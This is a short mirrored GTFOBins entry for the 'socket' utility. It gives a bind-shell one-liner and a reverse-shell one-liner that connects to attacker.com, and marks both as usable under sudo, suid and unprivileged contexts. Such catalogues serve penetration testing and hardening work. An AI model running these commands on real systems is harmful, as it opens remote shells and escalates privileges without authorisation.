1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/socket
2026-01-13 18:58:28 +01:00

22 lines
370 B
Plaintext

---
functions:
bind-shell:
- code: |-
socket -svp '/bin/sh -i' 12345
connector: tcp-client
contexts:
sudo:
suid:
shell: true
unprivileged:
reverse-shell:
- code: |-
socket -qvp '/bin/sh -i' attacker.com 12345
contexts:
sudo:
suid:
shell: true
unprivileged:
listener: tcp-server
...